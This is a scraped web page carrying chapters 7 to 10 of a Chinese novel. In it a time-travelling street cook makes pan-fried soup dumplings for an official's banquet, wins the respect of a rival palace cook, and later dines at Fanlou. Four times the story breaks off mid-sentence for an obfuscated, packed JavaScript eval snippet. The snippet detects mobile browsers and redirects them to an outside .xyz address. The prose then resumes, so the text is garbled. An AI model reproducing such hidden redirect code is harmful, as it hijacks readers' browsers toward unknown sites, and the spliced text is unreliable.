阿盼掰着手指头算了好几样夏天的时令菜蔬，买回来菜种，只等雨停，今日可算能整出来了。 裴府下人再寻来时，虞蘅刚在州桥南面的老位置支好摊。 熟悉的香味一出，先前的熟客纷纷围过来寒暄，都说她这几日不在，自己寻过来找不见，白走一趟，可算给他们碰着了。七嘴八舌，热闹不休。 忽见一黑衣少年打马径直奔灌浆摊子而来，好大的阵仗，路人怕马蹄，纷纷避让。 虞蘅对长得好看之人一向客气，笑问：“小哥要买什么？” “小娘子做得一手好灌浆，我家主人吃着不错，想请娘子入府操持筵席。”行玉笑眯眯的，先夸。 奉主人命来州桥夜市买吃食的奴仆不少，但样貌这般招人的着实难见。下马往那儿一站，还未开口便惹得周围的年轻娘子目不转睛。 众人再看看灌浆摊蘅娘子，诶，这二人站在一块可真是养眼。 虞蘅听了这小厮的话，只觉得好笑：“请我做宴？小哥莫不是寻错了人，我年轻不经事，怎会寻我？” “不会错，”行玉笑得恭谨，“娘子不必自谦，您只需负责席上馒头点心，旁的一应有人操心呢！” 行玉在袖中比了个数，“这是报酬。” 虞蘅挑眉看他，目光巡梭过他腰间别饰，以及袖口处，都绣着裴氏徽样。 一顿饭换来比摆摊一个月还多的报酬，虞蘅不可谓不心动。 只是像这样的贵人府上都专门养着一帮子厨娘，有各自的分工，怎么会轮到外头来请她一个小小的路边摊主上门帮工呢？ 这人莫不是来坑她的？ 思及此，刚才的蠢蠢欲动消了大半，她谨慎起来，笑道：“怕是不得空，要辜负家主人美意了。” 行玉又劝说几句，见越发说不动她，只好遗憾离去。 原以为只是个小插曲，不料到了次日，对方复又来了，也不劝，也不求，自占了张桌子，买下各样口味的灌浆，慢慢吃着，只在结账时巴巴看她几眼。 就这样来了好几日，虞蘅都有些无奈了，好脾气笑道：“当初不是与您都说清楚了？” 行玉扮可怜作揖：“我家郎君说了，若请不动蘅娘子，便不给我暮食，解铃还须系铃人，我只好来蘅娘子这儿垫吧垫吧了。” 他长得是真好，有些女相的漂亮，唇红齿白，笑起来有颗小虎牙，年纪恐怕还没她大，颊边还挂着婴儿肥。 若非如此，虞蘅指定是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092337|163668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些生气的。 上辈子闺蜜就总批判她，这个看脸对人的毛病什么时候能改改。 虞蘅拿他没办法，这些时日对方出手阔绰大方，相处起来也不似走歪门邪道之人，加上他人在这儿，那丰厚的报酬就跟化成了人形般时刻在她眼前晃悠，其实昨日她就有些后悔推拒了。 行玉总算守得云开见月明，怕她再反悔，立时约好明日相见的时辰地点，这才打了二两小酒回去。 可算不必被他家郎君骂了！ 阿盼高兴了整晚：“跟着蘅娘子可真有面儿！竟还有大官来请上门！”从前只以为自己要被卖去当烧火丫头，可不敢想这些。 虞蘅好笑觑她：“这就满足了？” “还能如何？”阿盼眼下能想到最风光的事便是如此了。 虞蘅给她画饼：“日后咱们少不得开一家樊楼那样的酒楼，届时你当大总管。” 樊楼什么样的？阿盼只到汴京初日路过时往里瞅了一眼，想都不敢想进去的事，眼下蘅娘子却说日后要开一家那样的酒楼！ 她来当管事！ 阿盼一会傻站在那儿笑，一会儿面上神情忽地肃然，一副“幸不辱命”表情与她发誓：“您就放心交给我！” 虞蘅怕伤孩子自尊，忍笑忍得手抖。 时下对有真本事的厨娘很是尊敬，即便心眼里儿看不起，面上功夫至少也是到位的，否则不会虞蘅拒了那么多次，裴垣只以为这厮是在摆谱。 都是惯出来的。 虞蘅沾了时代的光，坐上了裴家一早为她准备的小轿，晃晃悠悠了半时辰，总算到地儿。 待看见门前的匾额，虞蘅有些惊讶，原来行玉口中的郎君便是她初到汴京那一日街头碰见的小姑娘的兄长，可真是巧。 行玉不知道这里头圆圆，带她从角门进，绕过影壁走了一段，在垂花门后有个青衣婢女守着，行玉半大小伙不便进入后宅，便将虞蘅交给她。 青衣婢女冲她略点了个头：“你跟我来。” 进了后宅才发现，裴宅当真是阔气！ 依着树屏竹径远远看去，只见假山那头回峦叠嶂，飞阁层楼，穿过神仙洞，又是朱栏横翠幕，碧瓦照生烟。 关于百姓住所及用具，国朝有严格的等级规定。凡民庶家，不得施重棋、藻井及五色文采为饰，不得四铺飞檐。非三品以上官及宗室、戚里之家，毋得用金和器具;用银知者毋得涂金。非宫禁毋得用玳瑁酒食器……凡帷幔、帟幕、帘旌、床襦毋得纯用绵绣。② 然而人是这样的，钱挣得多了，就想衣食住行都配得上身份档次，朝廷便也睁一只眼闭一只眼，就跟那似有若无的牛肉禁令似的。 虞蘅上辈子实打实的小市民，最多也就是去到故宫咬牙花六十买了张门票参观，哪里见过这种场面？好在这辈子小时候也随虞母去过不少官员家中做客，对后宅大致的分布还能记得清，不至于晕头转向，也不至于贪看景色或是畏畏缩缩惹人笑话。 与她一处干活的还有个约莫二十来岁的瘦女子，脸蛋儿尖尖，下巴上有颗小痣，显得人有些尖锐。包子厨里的丫鬟都对她恭恭敬敬，就连方才有些倨傲的青衣婢见了对方，都换上一副笑容：“兰娘子，人带到了。” 兰娘子打量她两眼，从鼻子里哼出一声：“竟叫我与街头摆摊的同厨！” 8. 第 8 章 兰娘子绷着脸，仿佛受了奇耻大辱。 虞蘅笑了笑，对那青衣婢子道：“如此，我便先回去了。” 青霜没想到她这般干脆，这般不留情面，一下慌了神：“蘅娘子留步！” 看看兰娘子，又看看行玉请动许多天才请来的虞蘅，才发觉自己哪个都得罪不起。 郎君也是！ 一山不容二虎，怎能将两个擅灌浆的娘子安排至一处呢！ 可郎君话都放出去了，宾客马上便登门，哪里能出差错？ 青霜还想继续当体面的大丫鬟，再顾不上自恃身份，拿出在夫人面前的嘴甜伶俐来，好说歹说将虞蘅给劝住了，又去那头哄兰娘。 虞蘅倒是没生气，只不过吓唬对方好玩罢了。 这样丰厚的报酬，她来都来了，走掉岂不可惜？被人不咸不淡地讽刺几句罢了，又不会掉肉，随她去。 虞蘅径直来到一处灶口，挽袖净手，先试了试刀。 寒光闪过，光影残乱，青霜与兰娘皆吓了一跳。 众人只闻节奏稳健的“咚咚”声，却看不清刀法，几息过后，肉块已然变成一滩均匀的肉泥。 厨间各种打量的目光都有，她当做没发现。 既是主家的安排，张兰娘不好多说什么，只是心里更加瞧不上虞蘅。动作如此粗鲁，与“雅”丝毫不沾边，如何能操持大宴席！ 虞蘅扭头道：“这刀太轻，换一把来。” 张兰娘又哼一声。 比起虞蘅这边的冷清，只有两个粗实厨婢打下手，兰娘子身边却是围了一圈攒动的人头，都等着她吩咐办事。 都不必她开口，才扭头，便有小婢端来雕花银盆与澡豆侍奉净手。 温热的花瓣水只洗第一道，而后上澡豆，再用清水投净，丝缎擦干。 这样讲究的排场，说是主家也不为过。 张兰娘净过手，总算道：“去将蝤蠓取来。” 一块底下垫着冰盆的瓷缸被端了上来，揭开盖子，几十只气势汹汹的大螃蟹露了出来，还是活的呢！ “请娘子过目。” 眼下虽不是螃蟹季节，但张兰娘从不需操心食材问题，只需张口，自有底下人替她采买。 这些蝤蠓比起重阳后的自然算不得好，但当下能弄到个头这样大又这样多的蝤蠓，已属难得了。 张兰娘还算满意地点点头：“尚可。” 吩咐下去，两个婢子负责剥蟹，两个剔肉，另有揉面的、看火的，而兰娘除了将蟹黄与蟹肉炒制出来，便只镇守一旁指挥。 打工打到这份上，当真是有盼头。 虞蘅仿佛没瞧见她略有得意的神情，冲小婢温和一笑：“我看一眼今日的食单。” 小婢不解，但还是去与青霜求了，青霜不欲再横生什么枝节，只想着赶紧办完事，将一尊大佛送走，几乎立时便给她拿来了。 此时宴席并非后世那样才开席便一窝蜂将菜都端上来，而是跟着主家劝酒的节奏走，通常一共九盏，每喝一盏，便有婢女上前撤旧盏，换新盘，所以才有“推杯换盏”之说。 虞蘅要看今日的食单便是想了解上菜顺序，好把握口味轻重。 粗粗扫了一眼，除去各色劝酒的鲜果干货之外，宴席前中段多是龙井虾仁、莲房鱼包这样清淡雅致的菜肴。 让虞蘅有些惊讶的是，包子厨上菜顺序竟在最后一盏，压轴了啊。 前面又有山海兜这样以鲜味出众的同类菜色……虞蘅环视这间厨房的食材，心里大致有了成算。 张兰娘炒完馅，手艺一如既往地精湛，调味甜得刚刚好。接下来便将一切交给徒儿，自己从旁指点，顺便盯着虞蘅动作，看她究竟做出什么花样来。 别说张兰娘了，虞蘅一个人忙活都能整出那样大的动静，旁的厨婢也忍不住偷觑。 但见虞蘅先命人取来一块三肥七瘦的豕肉，收拾干净，却并不熬汤冻子，而是直接往剁好的肉馅中加水。 这一步就叫许多人摸不着头脑，灌浆出汤的秘法便在于肉冻受热化汤，这位据闻是二郎专程从外头请来的厨娘怎的不懂？ 小徒弟去看张兰娘脸色，讨好地冲对方挤挤眼，却见对方皱着眉头看得认真。 虞蘅弃了蒸锅，转而要了一口锅底平浅的大铁锅，刷上冷油，将捏好的包子一圈圈地铺开，小火慢煎，待底部变得金黄焦脆时，再撒上一旁备好的胡麻，加清水盖盖焖上片刻。 虞蘅掀盖速度很快，几乎热油与冷水碰撞的一瞬，锅中噼啪作响，这时香味已经传了出来，不大的厢房里弥漫着两种风格迥异的霸道香气，似水火不容，谁也不让谁。 这还不算完，她又调了个红油蘸碟。只听“滋啦”一声，滚烫的热油泼在干番椒与花椒、胡麻等混合研磨成的粉料上，香气顿时又浓郁一层。 先前的什么都闻不见了，鼻子里尽是又香又辣的呛味。 这番场景下，年长些的婢子还好，专心做自己手上的事，有年纪小的忍不住抽动鼻子，心神早飞到灶上去了。 “都干自个的！”张兰娘见状，厉声喝道。 她除了管着包子厨之外还是厨司的管事娘子，即这些小婢们的顶头上司，平日做事认真，对待手底下人也一向严厉。 众人忙收心，只是眼神还总时不时偷瞄着锅中。 张兰娘将脸绷得紧紧的。 青霜来提菜的时候，虞蘅的生煎包刚好出锅。 张兰娘也将冒着热气的蟹黄灌浆交由她手中，并橙齑、清酱、紫苏等四色蘸碟。 到底是王府厨娘出身，光看卖相，张兰娘的蟹黄灌浆要比虞蘅的高明出不知多少。 工工整整的十八褶，皮薄如蝉翼透光，里头橘黄的蟹肉汤汁随着包子皮微微荡漾，汁水丰盈得很。 而虞蘅这边，青霜瞧不出与寻常的馒头有何分别，只不过皮略薄些、上头撒了胡麻葱末罢了。 人靠衣装，食靠器具，古来皆是如此。本朝财力雄厚，即便平民之家也能日食三餐，温饱解决之后，便开始追求精神与文化层面的高次。 今日裴府尹之子裴二郎设宴，回请上回在王侍郎府共饮的诸位同窗，一早便放话出来，言席上有“极好灌浆”，有关系亲近的打趣问“果真那般好”，裴二郎但笑不语，故作神秘，藏着掖着总算到了夜里。 澄园中，丝竹声渐渐低了下去，宴席已接近尾声。来赴宴的郎君们多数都已微醺，婢女们立侍一旁除了为他们布菜换盏，还得盯着些举动，谨防谁呕欲上涌污了其他宾客的眼睛，搅坏二郎兴致。 有千金难求一面的天香院林行首抚琴佐餐，又有精致可口菜肴，皆以玉碟金器盛装，今日这顿宴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092338|163668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办得着实有面子！宾主尽欢，席间气氛轻快极了。 用过第八盏酒的糟鹅掌与清蒸白鱼后，但见七八名婢女复又端着新盏上来。 “此最后一盏酒为樱桃浆，乃取岭南春日樱桃酿成，色泽殷红，酒液透亮，漂亮极了，非是这个季节喝不到。”裴垣笑道，“你们也尝尝如何。” 手一扬，吩咐婢女给众人倒酒。 裴垣对外头吃食了无兴趣，着人去请虞蘅，一是谨慎，不愿自家宴席被那日街头小食给比下去，脸上无光，二是心中不信，存着故意叫众人比较，最后发觉果然还是兰娘手艺更好，叫王谢二人尝尝如他那日一般难堪的滋味。 想到丢脸事，裴垣又有些气不顺起来，那日那厮呼出的酒臭气如何喷在他面上的还历历在目，竟如斯可恶！ 他扫一眼菜色，兴致缺缺，筷子掠过旁的，到底夹起一枚蟹黄灌浆。只是舌头已被酒腻住，味觉几乎失灵，平日里鲜美至味此刻也是大打折扣，只勉强吃了两枚，就失了兴趣。 好吃是好吃，只今日吃过这等清鲜菜色没有十数也有□□，实在腻了。 他习以为常的，却有人赞不绝口：“这灌浆着实不负二郎的‘极好’赞誉，汤鲜味浓。” 立马有人附和：“当真是好，原本肚肠都喝木了，吃了一口，竟觉得饿了！” 众人纷纷称赞附和，裴垣面上有光，原本只是客套的笑意都深刻了几分：“兰娘的手艺自不必说。” 庐山真面目这才在众人面前“亮相”。 有人惊讶：“可是张兰娘？” 立时有人反驳：“瑞王爱极兰娘手艺，从不外借，怎会是她！” “上回王妃生辰，我奉母命登门贺寿，陪逾之在书房与王爷手谈了几局。谁知王爷待小辈和蔼极了，听闻家母颇喜食灌浆，便将兰娘赠予我。” 裴垣笑得温和。 他将此事说得云淡风轻，众人却听出里头不一样的意味。 裴家如今是越发炙手了！便连瑞王这等老宗室都卖裴二的好！这般想着，便忽略了旁的。 有人却喝酒喝糊了脑袋，十分地不解风情：“可张兰娘不是以一手蟹黄灌浆扬名？我吃这灌浆底部酥脆新奇，内馅虽也鲜甜，却不似蟹肉味道。” 他这般说也是时下厨娘分工过于细致的缘故。 宫里头，甚至剁葱丝的、揉面的都有专人。这些厨娘从不做“杂事”，譬如张兰娘，自幼时起便只学做蟹黄灌浆，叫她换了羊肉牛肉之流，还真不一定能做得好。 裴垣缓了一会儿才听明白，目光迟疑地转向直接被他忽略，外表平平无奇的另一侧。 原是布菜的婢女知晓裴垣一贯不喜食葱蒜芫荽等气味重、难清理之流，故一直将盛有生煎包的碗碟盖着，香气自然也被遮住了。 那人便是最先说好的，眼下吃醉了酒，犹在滔滔不绝：“什么都好，只是两个太少，二郎怎这般小气，莫不是等藏起来自个偷吃？” 简直荒谬！ 裴垣气笑了都，何至于此？ 不过是市井小食，他要想吃什么，还需要藏私？ 气得，筷子怎么也动不下去。呵，瞧着也不过尔尔！ 见谢诏几乎没动过筷子，王献附耳过去：“你尝尝这灌浆，我觉着有那日我家小弟带回的风味，底脆肉嫩，又烫又香！” 9. 第 9 章 王献都倾情推荐了，谢诏当然不会不给面子。 夹起一枚煎包，筷子触到底部的焦脆时，发出“沙沙”的声响，清脆悦耳。 王献爱惨了这口感，一听这声音，又开始馋了。可总不能从好友嘴里抢食，赶紧别过头去。 只是他忘了提醒好友，别瞧这灌浆表皮已经晾得温热刚好入口，自己方才便是被这“伪装”给骗去了，整个囫囵入口，一不留神，被滚烫的汤汁烧得嘴疼。 谢诏觉察的时候已经晚了，舌尖一痛，而后整个麻住。 他唤了一声背对自己的好友：“子介。” 王献“诶”了一声转过头来，“怎样怎样？是不错吧？” 谢诏将碗碟往前推了推：“你吃了吧。” “怎么不吃？不好吃吗？”王献可是了解他胃口的，这样香浓丰腴得刚刚好的食物，该是他最喜欢的呀！ 谢诏垂眼，只道：“很好吃，你吃吧。” 既如此，王献本就眼馋，便也不同他客气了，让婢女接过来，端起盘盏，在皮上咬破一个小口，十分有经验地吹了吹，接着便吮起里面的汤汁来。 旁人总说他天生便有比常人能忍痛的毛病，谢诏心想，或许不是忍痛，而是他面部表情少，便显得能忍。 譬如眼下。 他面不改色去端桌上的酒，酒液清凉，但喝下去后，反倒刺激得口腔更辣了。 但当那灼人的烧炙感退下后，方才被忽略的鲜甜滋味便愈发清晰了，那汤的滋味，叫谢诏忽地升起一个念头：这厨娘若是在自家，生意一定更好。 双亲仍强健，家中又有长子，他甚少过问酒楼中事，这念头也就起了一瞬，可真正只停留了一瞬的汤包滋味却印刻在他舌尖味蕾，久久不能散。 大抵凡事经历过一番痛苦总会叫人更加刻骨铭心，谢诏记起幼时，总觉得摔了跟头后得到的糖更甜些，为此他甚至故意装作走路不稳，就为了等阿爹阿娘祖母一大帮子人团团围上来安慰的时候。 谢诏淡笑一下，怎的还改不了爱在心里矫情酸腐的臭毛病。 王献颇不解，怎的有人吃个灌浆都一副放下筷子就能作诗的模样？ 裴垣见王献浑然忘我地嗦吮汤汁模样，忍不住“嗤”一声笑出来，还不忘记仇：“怎样，我便说比你上回的好，不错吧？” 王献反唇讥道：“好是好，只太少，吃不饱。” 嘿！哪壶不开提哪壶。 到底都只是十八九岁的年轻人，素日关系又好，互相拌了几句嘴，便又嘻嘻哈哈起来。 其实虞蘅做的真不算少了，只是今日所用餐具大都精致小巧，奉菜婢女勤勤谨谨地揣摩着主家意思，将盘摆得堪比五星米其林餐厅。 剩下的，自然入了她们这些“后勤”的肚子。 小婢们实在馋，借机与她搭话，却眼巴巴地都想尝那生煎包，虞蘅忍笑，大方让给这些小姑娘。大伙不好意思吃白食，又从旁的厨司相熟的厨婢们那儿讨来许多剩菜，如此吃了丰盛至极的一顿。 张兰娘走过来的时候，虞蘅正以一种不大雅观的姿态朝汤包吹气，余光瞥见对方嘴角扯了扯，似乎难以开口。 厨娘做到对方这份上，可算是行业里顶尖的前辈了，先前有些清高脾气，虞蘅不是不能理解。她先放下碗筷，以示尊敬：“娘子有何指教？” 张兰娘仍旧硬邦邦地开口：“既有手艺，怎的沦落至市井做起买卖来了？师从何人？” 虞蘅一笑：“不过自己喜欢琢磨吃吃喝喝罢了。” 说罢指着那吃了一半的蟹黄灌浆笑道，“比起娘子手艺，我可差的远了，不过是投机倒把讨了个巧。” 张兰娘并不怀疑自己，点点头：“你若想留在这里，倒是够格，只府里眼下并不缺人。倒是温恪公主府上缺一厨娘，你若想去，我可替你提一提。” 言外，竟是有赏识举荐她的意思。 虞蘅有点受宠若惊：“多谢娘子美意，只我觉得眼下日子过得挺好，并不想入贵府。” 张兰娘诧异地看她一眼，竟有人放着稳拿月银的好日子不过，傻了吧？ 她主动开口与对方提及已是破例，对方不愿，也没有强求的道理，遂点点头：“待你何时想了，再来寻我，只那时恐怕没这么好去处。” 不管怎样，能得大牛前辈赏识，虞蘅还是很感激的。 为表示感谢，她主动福了一礼，又说了几句恭维的客套话。 张兰娘摆手：“这些虚礼就不必了。” 方才还眼见着要掐起来的两人，竟就这样和解了。 青霜在心里摇摇头，面上则更客气几分，一路亲自将虞蘅送了出去。 “师傅不是嫌那小娘子粗鄙，怎还与她说那多？”没了旁人，张兰娘的徒弟过来笑道。 张兰娘瞥她一眼：“今日的刀可练了？” 徒弟忙道：“日日都有在练。” 兰娘脸色这才缓和些，点头：“今日忙累了一天，早歇吧。” 徒弟从王府时便跟着自己，勤谨与孝心没得说，人也灵活，只可惜天赋上差些。今日遇上个好苗子，却是个心野的。 且再看吧。 再说裴五娘听说了自家兄长今日宴请的事，勃然大怒：“阿兄真糊涂！竟然叫不明不白的人进府，混入什么不干净的东西可怎么办？” 又不解扶额：“汴京难道还有比兰娘手艺精湛的厨娘，何必多此一举！” 说着，径直往澄园寻裴垣算账去了。 纵裴垣在外有多风光，也不愿招惹这个最受疼爱的幼妹。何况二人一母同根，性子十成十的相像，从小吵到大，吵得阿母头疼，最后自然全是裴垣的错，裴垣真是有苦说不出。 今日见妹妹气势汹汹来，他不欲应付，情急之下，竟然弃了筷子，一头扎进了浴房。 裴五娘推门而入，只见桌上满满当当，还冒着热气的点心、写了一半的字帖，唯唯诺诺的仆婢，唯独不见裴垣人影。 裴五娘冷笑，躲？ 她施施然整理裙裾坐下，扬声道：“那我便在这儿等兄长回来。” 下人你觑我我觑你，不敢反驳。 只裴五娘今日与姊妹在外玩了一整日，刚刚回家，还没用暮食，腹中早已空空，面对一桌子香气丰腴的消夜，竟然不争气地“咕叽”了一声。 屋内安静得厉害。 裴五娘倍觉脸热，都怪阿兄，叫她在下人面前这般丢脸！ 遂报复似的用起了桌上还没动过的宵夜。 也不知怎的，今日这灌浆与蝤蠓馉饳①要比平日格外好吃些，尤其这灌浆，底部竟脆如薄饼，上头缀些胡麻，胡麻本就是香气霸道之物，被裹着滚热汤汁的煎包蒸气激得满屋全都是，配上爽滑的蝤蠓小馉饳，汤底鲜美，微微有些酸，开胃又解腻，一口一个满足。 半碗下肚，裴五娘来时的气竟消了大半。 裴垣也守着她气消差不多了，才装模作样出来，讨好一笑：“五娘怎来了，等许久了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092339|163668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” 不请自来吃光了人家的夜宵，便不好意思再朝发火了，裴五娘擦擦嘴，撒娇似的抱怨了句：“兄长当真是胡来，兰娘的手艺这样好，何苦去外头招惹些粗鄙人物，没得打王府的脸面。” 裴垣被说得有些尴尬：“你怎知兰娘手艺好不好。”兰娘是他院中人。 裴五娘朝空了的碗盘努努嘴：“喏，这还用说么？有这般灌浆手艺的自然是兰娘不必说了。” 裴垣眼神落在那光盘上：“……” 他拉下脸特地叫行玉从厨房偷留出来的两个独苗！还没尝见味儿呢！ 裴五娘还在絮絮叨叨抱怨：“外头的人来历不明不白，行事又没个轻重，若叫诸君吃坏了肚子怎么好？” 裴垣正沮丧呢，没好气道：“他们吃坏肚子，与你何干？” 话出口，裴五娘与裴垣俱是一愣。 “我还不是担心阿兄脸面没地儿放！”反应过来后，裴五娘粉面泛红，跺脚跑开了。 裴垣咂摸着妹妹可疑的反应，倒不似动怒，倒像是…… 倒像是害羞了？ 。 兰娘这样的厨子，自跟从恩师学艺起，便是为了培养出师后送入官宦人家，瞧不起市井买卖也正常。 虞蘅想法则很简单，不想打工。 都是从事服务行业，你情我愿的买卖总比整日看主家脸色好得多。 当然了，若日后生意差到养不活自己跟阿盼了，去人府上帮工也不失为一条出路。 虞蘅打开方才青霜塞来的荷包，里头装了好几枚精致漂亮的小鱼银子，约莫有十两重。 忙活这一日便赚出几乎半年的利钱来，阿盼摸着上头的花纹爱不释手：“原来我便值五条小鱼哩。” 这傻孩子。 市面上银是很少的，交易都以铜钱为主，虞蘅舍不得拿漂亮的银锞子去换臭烘烘的铜板，好好将它们压在了床头下。 只是挣了这么多，也得好好消费一把，体验一下乍富的快乐不是？ 与阿盼说了明日不做饭，去樊楼吃去！ 听说要去自己心心念念的樊楼，阿盼连觉也不睡了，一骨碌从榻上爬起来翻箱倒柜：“蘅娘子我穿这件怎样？” 到底是十四五岁的小姑娘，哪有不爱美的？当初在成衣铺第一眼看见这套葱绿的小团花襦裙，虞蘅就觉得写着阿盼的名字，买回来送她，却说穿着不便干活，压箱底好久，眼见着春天都过去了，叫虞蘅好无语。 这一套上，果然合适。 新衣裳都穿了，虞蘅手痒摁着她梳了个头，涂上两坨胭脂……嗯，下手有些重。 “我就说好看。”虞蘅煞有介事地拉着阿盼转了个圈，把笑给憋了回去。 因明日出门玩，阿盼早早就洗漱好躺下酝酿睡意了，却因为兴奋翻来覆去睡不着。到三更天时，迷迷糊糊听见外头传来一阵动静，瓮声瓮气的仿佛有人在哭。 想到邻居们说的那些传闻，阿盼顿时便彻底惊醒了，背上腻出了一层冷汗。 倾耳去听，只是那声音太细微，听不真切，一时又觉得是自己听错了，怕不是风声吧？ 阿盼抖着手握住了床头的桃木剑，不敢出声。 不知捱了多久，那声音总算消失了，阿盼战战兢兢地翻了个身，一晚没能合眼。 第二天盯着两个硕大的眼圈在院子里跟虞蘅打了个照面。 虞蘅吃了一惊：“昨夜梦游去了？”怪道她说院子里隐隐约约有什么动静呢！ 10. 第 10 章 到底是年轻人，即便整晚没睡好，还能有精力出门玩。 虞蘅想起自己还是个少年时也干过凌晨两点睡六点起，踩单车去吃五公里外要排长队的那家早餐的勾当，当真是怀念呐。 本来说的上午去买些日用，中午就在城里随便找个脚店，待入了夜，才正是樊楼消费的好时候。现因阿盼没睡好，虞蘅便让她回去眯半时辰，待日头几乎升到正午才总算出了门。 进城的路不远，走上两刻钟便也到了。然虞蘅今日犯懒不想走，便半路拦了辆牛车，一路辘辘过去。 太阳还没到很晒的季节，照得人身上暖意洋洋，舒服得几乎要睡过去，好像回到小时候每一个陪外婆干农活的午后。 想到这，虞蘅靠在板车的扶手上，闻着熟悉的泥土混合了牲畜的体味有些恍惚，不知今夕与前世耶？ 但当道旁风景从清秀质朴的村野风光变成富庶繁华都城景象时，她又渐渐回了神。 汴京的买卖总是入了夜更盛，但也不是说白天就不热闹，她们出门晚，进城正好赶上饭点，任拣一店看去都是熙熙攘攘。 大街上人流如织，随意找了家面馆吃了午饭，之后卯足劲转身挤进了一家正打折的铺子。 上京什么也没带，便是没有这一笔进账也得添置换季的衣物、被褥，又买几只小鸡崽子，想到养鸡要忍受的脏乱，干脆连鸭也一起买了，一次性搞定。 在汴京购物是最方便的，不论买了什么，买了多少，都能给你送家去，铺子里有专门的“外卖小哥”，只消几文钱跑腿费，对虞蘅这样买完大包小包还想接着逛人群很是友好。 只虞蘅出门前闩了门窗，便让跑腿伙计先送到隔壁吴七嫂家暂存。 待买齐所有刚需东西，再出来时，已是入了夜。 落日楼头，低云潋滟。白日的余热随夕阳渐褪，淡黄小月牙挂上东天，朦胧清新如女子翩跹裙裾。 一路上总有人回头，多看两眼虞蘅姣好的容貌，这样纯粹欣赏的目光倒不令人讨厌，但当有纨绔拿不怀好意的审视目光在她身上游走之时，阿盼总会第一时间狠狠瞪回去。如此，见有“悍婢”在侧，那些人也不敢太放肆了。 汴河为界，一面是华丽车辇与喧嚷灯火，一面是闲适百姓，月下乘凉。中间市井交错，货郎摊贩走街串巷叫卖，让这两种截然不同的生活方式有了铺垫。 为招徕食客，汴京城内七十二酒楼手段百出，在街边以竹架子、灯笼与彩帛搭建起阔气华丽的彩楼欢门，又在门前挂上鲜红瞩目的橘子灯。 更有甚者招揽浓妆艺伎①数百，聚于主廊待客。不过汴京城内大酒店娼妓只伴坐而已，欲买欢，则多往其居。 虞蘅此行的目标则是景明坊中的樊楼，诗云“夜深灯火上矾楼”，此时汴京最豪华的酒楼。 樊楼有东、西、南、北、中五座主楼，每座又分三层，各楼之间以飞桥栏槛连通，隔几步便有琉璃宫灯与玳瑁宫灯交错相照，灯烛荧煌，亮如白昼。若从空中俯视，汴京版图此时亦如一张星幕，而樊楼便是最亮最大的那一颗——毕竟大内有宵禁，绝不会这般热闹辉煌。 也难怪连官家都喜欢走地道出宫吃路边摊了。 说来穿越前虞蘅也以为“樊楼”多半与“张氏酒楼”、“李家脚店”一般，因着老板姓樊，便也跟着叫樊楼，待穿越后来了汴京才知道，原来樊楼竟是国营酒店么！ 且还是竞标制，分好些份额，低价者优先中标，眼下承包樊楼东、南、北、中一楼大堂、二三楼阁子的背后东家就不是同一人。 所以当初她吹牛皮要开个樊楼这般酒店的梦想大抵有些难以实现。 近百年樊楼前前后后改了数次名，从白矾楼到丰乐楼，但总比不上“樊楼”叫得响亮，后便改了回来，一直沿用。 被伙计迎进彩楼欢门，门内是比外面更富丽的装潢，珠帘绣额，灯烛晃耀，雕梁画栋，如鸟斯革，如翚斯飞②。 此时虽过了暮食的点，但依旧宾客满堂，一楼大堂接待的是如同她们这般买酒不多消费一般的“散客”，喜欢清幽雅致环境的贵人们，则入“阁子”招待。 即便是大堂，也毫不吝啬灯油，几十盏纱帐宫灯燃着，灯火通明，将每桌桌面上的菜式都照得一清二楚。 虞蘅与阿盼就着流水般琳琅满目的菜品点单——点菜不用菜单子，却是对着一道道热气腾腾的真材实料做选择，这样倒省去了货不对板的可能。 中心的那座楼阁上传来悠扬琴音，潺潺流水般悦耳，这是汴京城有名的艺妓在抚琴为贵客佐餐。 至此，虞蘅不禁想起那个无论文学还是历史上都赫赫有名的女子，李师师。纵然时空已改，不知她是否被影响了命运，是否还会名扬汴京？ 这感慨还没散尽，就听得阿盼问：“咱们吃不吃这煎鸭子，店家说他们煎鸭子又香又好。” “吃，皮要煎得焦焦脆脆些。”虞蘅毫不犹豫。 点了一道煎鸭子、一道荔枝腰子、一道麻饮小鸡头、一道酒焐鲜蛤、一道鹌子羹并几道糟腌辣芥的小菜，店家又送了两碟以小银碟装的梨条与胶枣，问她们要不要酒？ 樊楼是卖白矾起家的，后来改成酒楼，以官府的名义，每年销售的官酒竟至五万斤，自然有自酿好酒，眼下有的是“眉寿”与“和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 